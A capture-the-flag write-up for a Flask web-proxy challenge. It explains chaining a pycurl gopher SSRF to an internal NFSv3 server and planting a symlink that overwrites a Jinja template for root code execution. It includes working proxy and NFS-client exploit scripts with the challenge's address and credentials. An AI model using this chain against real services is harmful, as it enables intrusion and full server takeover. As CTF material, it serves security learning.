Hack the planet! 🍊,web
http://54.250.88.37
# Summary
The flask App is running as root and it's some sort of a webproxy with an NFS share
$ tree
.
├── app
│ ├── app.py
│ ├── static
│ │ ├── bg.jpg
│ │ └── bootstrap.min.css
│ └── templates
│ └── index.html
├── Dockerfile
├── files
│ ├── entrypoint.sh
│ ├── flag
│ └── readflag
Flag is owned by root in /
directory with suid binary /readflag
to read it, so an RCE is required
entrypoint.sh
chown root.root /*flag
chmod 400 /flag
chmod 111 /readflag
chmod +s /readflag
# SSRF
The webproxy would fetch any given URL without any restrictions using pycurl and saves output in a .jpg
file
@app.route('/', methods=['POST'])
@login_required
def submit():
url = request.form.get('url')
if not url:
return render_template('index.html', msg='empty url')
opt_name, opt_value = None, None
for key, value in request.form.items():
if key.startswith('CURLOPT_'):
name = key.split('_', 1)[1].upper()
try:
opt_name = getattr(pycurl, name)
opt_name = int(opt_name)
opt_value = int(value)
except (AttributeError, ValueError, TypeError):
break
break
name = md5(request.remote_addr.encode() + url.encode()).hexdigest()
filename = 'static/images/%s.jpg' % name
with open(filename, 'wb+') as fp:
c = pycurl.Curl()
c.setopt(c.URL, url)
c.setopt(c.WRITEDATA, fp)
c.setopt(c.CAINFO, certifi.where())
if opt_name and opt_value:
c.setopt(opt_name, opt_value)
try:
c.perform()
c.close()
msg = filename
except pycurl.error as e:
msg = str(e)
return render_template('index.html', msg=msg)
obviously there's an SSRF, with curl supporting gopher protocol we could talk with any protocol raw tcp
# NFS server
The image directory is an NFS share
entrypoint.sh
# service
mkdir /data
ln -s /data/ /app/static/images
mount -t nfs nfs.server:/data /data -o nolock
# Exploitation
The idea was to leverage the SSRF to NFS server to create a symlink for an image file "to be created later" name = md5(request.remote_addr.encode() + url.encode()).hexdigest()
to /app/templates/index.html
,
this would overwrite the template when we fetch the image URL and the app would reload the templates since we have app.config['TEMPLATES_AUTO_RELOAD'] = True
and app is running with root privileges leading to RCE using jinja
NFS v4 protocol was complicated and would require multiple communication within same socket which was not possible with gopher, so we opted for NFS v3 that was way more simple
my solution was to proxy a python NFS client via gopher and saved images
at first it didnt work, until i looked at the client code to find out NFS require the socket to bind to local port also, and we could supply curlopts, it's possible to do so via CURLOPT_LOCALPORT
the exploit needed to do 3 requests
1- Connect to Port mapper and get mount port
2- Connect to mount and get mount Fh
(connect to port mapper again to get NFS port, well, no need its almost always 2049)
3- Connect to NFS and create symlink
proxy.py
from pwn import *
import requests
import base64
import urllib.parse
import re
from random import randint
remoteurl = 'http://54.250.88.37:24765/'
creds = 'ctf:04ca9aa011a34a9c'
def sendgopher(sport=2049,sdata=b''):
headers = {"Authorization": "Basic "+base64.b64encode(creds.encode('utf-8')).decode('utf-8')}
postd = {"url": "gopher://nfs.server:"+str(sport)+"/_"+(urllib.parse.quote(sdata)),"CURLOPT_LOCALPORT":str(randint(500, 1023))}
x=requests.post(remoteurl, headers=headers, data=postd)
if ('Your Metamon</a>' in x.text):
aa = re.findall(r'<a target="_blank" href="(.*?)">',x.text)
try:
print(remoteurl+aa[0])
xx = requests.get(remoteurl+aa[0],stream=True)
return (xx.raw.read())
except Exception as e:
print(str(e))
else:
print(x.text)
def runproxyserver(port):
s = server(port)
cc = s.next_connection()
x=cc.recv(1024)
dogopher=(sendgopher(sport=port,sdata=x+b'\r\n'))
print(dogopher)
cc.send(dogopher)
s.close()
## port mapper
runproxyserver(111)
## mount
runproxyserver(41683)
## nfs
runproxyserver(2049)
client.py
from pyNfsClient import (Portmap, Mount, NFSv3, MNT3_OK)
import time
host = "127.0.0.1"
mount_path = "/data"
portmap = Portmap(host, timeout=3600)
portmap.connect()
mnt_port = portmap.getport(Mount.program, Mount.program_version)
#mnt_port = 49507
print(mnt_port)
auth = {"flavor": 1,
"machine_name": "host1",
"uid": 0,
"gid": 0,
"aux_gid": list(),
}
time.sleep(1)
mount = Mount(host=host, port=mnt_port, timeout=3600,auth=auth)
mount.connect()
mnt_res =mount.mnt(mount_path, auth)
if mnt_res["status"] == MNT3_OK:
print(mnt_res)
root_fh =mnt_res["mountinfo"]["fhandle"]
time.sleep(1)
nfs3 =NFSv3(host, 2049, 3600,auth=auth)
nfs3.connect()
nfs3.symlink(root_fh, "fe55c5040ae73410196e0cc4ac4e4ce7.jpg", "/app/templates/index.html",auth=auth)
else:
print(mnt_res)